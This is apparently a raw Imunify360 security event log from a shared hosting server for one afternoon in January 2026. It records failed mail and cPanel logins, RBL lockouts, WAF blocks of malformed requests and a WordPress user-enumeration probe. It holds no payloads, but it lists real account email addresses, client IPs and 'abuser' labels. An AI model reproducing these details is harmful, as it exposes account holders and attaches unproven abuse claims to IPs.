2026-01-13 13:25:59 dovecot_login authenticator failed for H=(h17.83.184.173.dynamic.ip.windstream.net) [173.184.83.17]:58290: 535 Incorrect authentication data (set_id=ken@smartcable.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 138.185.129.122
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=547334 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.128.168
country_id: 1733045
description:
2026-01-13 13:27:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.128.168]:37660: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.154.182.160
country_id: 2542007
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/day/19/140/1917091 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 131.0.248.153
country_id: 3469034
description:
Jan 13 13:27:55 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 131.0.248.153 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.128.168
country_id: 1733045
description:
2026-01-13 13:27:18 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.128.168]:37661: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 131.0.248.153
country_id: 3469034
description:
Jan 13 13:28:10 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 131.0.248.153 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.222.12.89
country_id: 798544
description:
Jan 13 13:28:47 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 31.222.12.89 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.163.198.4
country_id: 3469034
description:
Jan 13 13:29:07 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.163.198.4 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.163.198.4
country_id: 3469034
description:
Jan 13 13:29:15 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.163.198.4 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.190
country_id: 3175395
description:
Jan 13 13:29:19 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.190 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.132
country_id: 3175395
description:
Jan 13 13:29:28 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.132 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.251.102.19
country_id: 241170
description:
Jan 13 13:29:39 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.251.102.19 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.203.49.113
country_id: 2963597
description:
Jan 13 13:30:35 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.203.49.113 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.0.250.173
country_id: 3865483
description:
Jan 13 13:30:59 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.0.250.173 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 162.142.125.218
country_id: 6252001
description:
Jan 13 13:31:18 sv3 pure-ftpd[382875]: (?@162.142.125.218) [INFO] New connection from 162.142.125.218


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.0.250.173
country_id: 3865483
description:
Jan 13 13:31:09 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.0.250.173 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 168.167.26.148
country_id: 933860
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=455650 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 13:35:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:59639: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 13:35:14 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:59640: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 154.117.171.10
country_id: 953987
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=442049 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-13 13:38:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:63544: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-13 13:38:15 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:63545: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.116.179.240
country_id: 3865483
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=610227 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 172.56.164.73
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:13-40.172.56.164.73||RSV:7.62||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.144.229.115
country_id: 1733045
description:
[2026-01-13 13:40:45 +0800] info [webmaild] 175.144.229.115 - accounts@evergrown.com.my "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.174.61
country_id: 1733045
description:
[2026-01-13 13:41:47 +0800] info [webmaild] 175.139.174.61 - admin@pftfood.com "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.28.190.201
country_id: 2510769
description:
Jan 13 13:42:46 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.28.190.201 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.110
country_id: 2921044
description:
2026-01-13 13:43:34 dovecot_login authenticator failed for H=(0lv2AtGLvZ) [158.94.208.110]:62045: 535 Incorrect authentication data (set_id=darren@indfinitydesign.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 158.94.208.110
country_id: 2921044
description:
Jan 13 13:43:32 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 158.94.208.110 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 158.94.208.110
country_id: 2921044
description:
Jan 13 13:44:11 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 158.94.208.110 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.110
country_id: 2921044
description:
2026-01-13 13:44:13 dovecot_login authenticator failed for H=(igzWypZtk) [158.94.208.110]:51592: 535 Incorrect authentication data (set_id=darren)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.0.252.132
country_id: 3865483
description:
Jan 13 13:44:44 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.0.252.132 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.61.10.62
country_id: 3865483
description:
Jan 13 13:44:50 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.61.10.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.170.22
country_id: 3175395
description:
Jan 13 13:45:12 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.170.22 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.69.9.191
country_id: 1269750
description:
Jan 13 13:45:38 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.69.9.191 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 154.246.28.94
country_id: 2589581
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=685978 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.84.241.222
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=5&sub=27 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.188.225.171
country_id: 337996
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=330134 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.1.222
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=264985 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 223.181.51.76
country_id: 1269750
domain: printspecsolution.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:70346.printspecsolution.com||ServerName:printspecsolution.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:77ef4ceaf6fa4c75674b27f74ef4d6158ad29a95||Title:0x2f6dee21||RSV:7.62||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 113.211.214.9
country_id: 1733045
description:
[2026-01-13 13:52:41 +0800] info [webmaild] 113.211.214.9 - lowts@lvconsult.com.my "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.128.168
country_id: 1733045
description:
2026-01-13 13:53:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.128.168]:14733: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.128.168
country_id: 1733045
description:
2026-01-13 13:53:09 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.128.168]:14733: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.128.168
country_id: 1733045
description:
2026-01-13 13:55:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.128.168]:38313: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.128.168
country_id: 1733045
description:
2026-01-13 13:55:09 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.128.168]:38313: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-13 13:56:43 H=([45.144.212.242]) [45.144.212.242]:56032 F=<no_reply@admin.com> rejected RCPT <mustapa@astlog.com.my>: Sender verify failed


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.204.209.206
country_id: 1210997
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=789818 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 156.202.182.179
country_id: 357994
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=480397 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 14:03:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:59672: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 14:03:14 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:59673: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 109.107.228.153
country_id: 248816
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=348656 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-13 14:06:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:63597: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.92.222.99
country_id: 798544
description:
Jan 13 14:06:05 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.92.222.99 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-13 14:06:16 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:63599: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 152.237.183.71
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=279834 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.24.185.98
country_id: 2017370
description:
Jan 13 14:06:28 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.24.185.98 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 217.24.185.98
country_id: 2017370
description:
2026-01-13 14:06:30 dovecot_login authenticator failed for H=([217.24.185.98]) [217.24.185.98]:33638: 535 Incorrect authentication data (set_id=serene.chin@manforce.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.92.222.99
country_id: 798544
description:
Jan 13 14:06:12 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.92.222.99 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.64.209.11
country_id: 1814991
description:
Jan 13 14:09:29 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.64.209.11 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.64.209.11
country_id: 1814991
description:
2026-01-13 14:09:31 dovecot_login authenticator failed for H=(11.209.64.125.broad.dy.sc.dynamic.163data.com.cn) [125.64.209.11]:56349: 535 Incorrect authentication data (set_id=ken@smartcable.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.251.102.19
country_id: 241170
description:
Jan 13 14:11:00 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.251.102.19 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.109.103.118
country_id: 1819730
description:
[2026-01-13 14:13:49 +0800] info [webmaild] 103.109.103.118 - payment@tujusetia.my "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 108.78.34.80
country_id: 6252001
description:
2026-01-13 14:13:09 dovecot_login authenticator failed for H=108-78-34-80.lightspeed.brhmal.sbcglobal.net ([127.0.0.1]) [108.78.34.80]:54352: 535 Incorrect authentication data (set_id=info@ocned.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 150.228.105.195
country_id: 99237
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/rain/167/583448 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 152.42.230.178
country_id: 1880251
domain: www.box.com.my
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:7.62||T:APACHE||MV:/wp-json/wp/v2/users/||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 212.120.163.110
country_id: 2017370
description:
Jan 13 14:15:47 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 212.120.163.110 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.120.163.110
country_id: 2017370
description:
2026-01-13 14:15:49 dovecot_login authenticator failed for H=(dialup-solikamsk-212.120.163.110.uralcom.com) [212.120.163.110]:54296: 535 Incorrect authentication data (set_id=ahmad.asif@acburn.com.my)


plugin: ossec
rule: 11314
name: FTP file deleted from server
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 13 14:16:52 sv3 pure-ftpd[449849]: (eminent@113.211.215.143) [NOTICE] Deleted /home/eminent//public_html/folder/RHB1042_PMR Wealth_Products_Awareness_(Banca)_eDM/edm2/images/banner.jpg


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.39.123.12
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=982714 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.188.227.73
country_id: 337996
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=5&sub=26 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 13 14:16:34 sv3 pure-ftpd[449849]: (?@113.211.215.143) [INFO] New connection from 113.211.215.143


plugin: ossec
rule: 11305
name: Attempt to access invalid directory
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 13 14:16:39 sv3 pure-ftpd[449849]: (eminent@113.211.215.143) [INFO] Can't change directory to /42.0.28.63: No such file or directory


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.7.18
country_id: 690791
description:
Jan 13 14:18:30 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.7.18 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.141.249.219
country_id: 3469034
description:
Jan 13 14:18:09 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.141.249.219 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 168.205.221.203
country_id: 3469034
description:
Jan 13 14:19:47 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 168.205.221.203 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.67.155.133
country_id: 298795
description:
Jan 13 14:20:01 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.67.155.133 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.170.239
country_id: 3175395
description:
Jan 13 14:20:07 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.170.239 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.125.4.15
country_id: 798544
description:
Jan 13 14:19:20 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.125.4.15 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.52.193.67
country_id: 719819
description:
2026-01-13 14:19:24 dovecot_plain authenticator failed for H=(DESKTOP-CHB8C01) [92.52.193.67]:44062: 535 Incorrect authentication data (set_id=alex_santiago@ajplantations.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.117.57.17
country_id: 3469034
description:
Jan 13 14:19:46 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.117.57.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.170.239
country_id: 3175395
description:
Jan 13 14:20:14 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.170.239 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.67.155.133
country_id: 298795
description:
Jan 13 14:20:14 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.67.155.133 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.255.215.54
country_id: 732800
description:
Jan 13 14:20:20 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.255.215.54 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.128.168
country_id: 1733045
description:
2026-01-13 14:21:07 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.128.168]:14740: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.128.168
country_id: 1733045
description:
2026-01-13 14:21:16 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.128.168]:14740: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.251.102.19
country_id: 241170
description:
Jan 13 14:21:36 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.251.102.19 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 123.193.152.64
country_id: 1668284
description:
Jan 13 14:22:42 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 123.193.152.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.255.0.22
country_id: 3469034
description:
Jan 13 14:22:35 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.255.0.22 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.193.152.64
country_id: 1668284
description:
2026-01-13 14:22:44 dovecot_login authenticator failed for H=123-193-152-64.dynamic.kbronet.com.tw [123.193.152.64]:41810: 535 Incorrect authentication data (set_id=purchasing3@ocned.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 2.134.107.176
country_id: 1522867
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=5&page_id=6 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.128.168
country_id: 1733045
description:
2026-01-13 14:23:16 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.128.168]:40129: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.251.102.19
country_id: 241170
description:
Jan 13 14:25:32 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.251.102.19 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.216.39.186
country_id: 6290252
description:
Jan 13 14:26:36 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.216.39.186 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 13 14:27:20 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.33.187
country_id: 953987
description:
Jan 13 14:27:56 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.33.187 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.33.187
country_id: 953987
description:
Jan 13 14:28:10 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.33.187 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.206.97.117
country_id: 6290252
description:
Jan 13 14:28:22 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.206.97.117 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 168.90.250.241
country_id: 3469034
domain: symphony-led.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/symphony-led.com/ HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.204
country_id: 1880251
domain: symphony-led.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/symphony-led.com/webfonts/fa-brands-400.woff2 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.196
country_id: 1880251
domain: symphony-led.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/symphony-led.com/webfonts/inspiro-icons92ed.ttf?ijzgpf HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.129
country_id: 1880251
domain: symphony-led.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/symphony-led.com/webfonts/fa-solid-900.woff2 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.111.238.40
country_id: 1210997
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=263428 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.219
country_id: 1880251
domain: symphony-led.com
description:
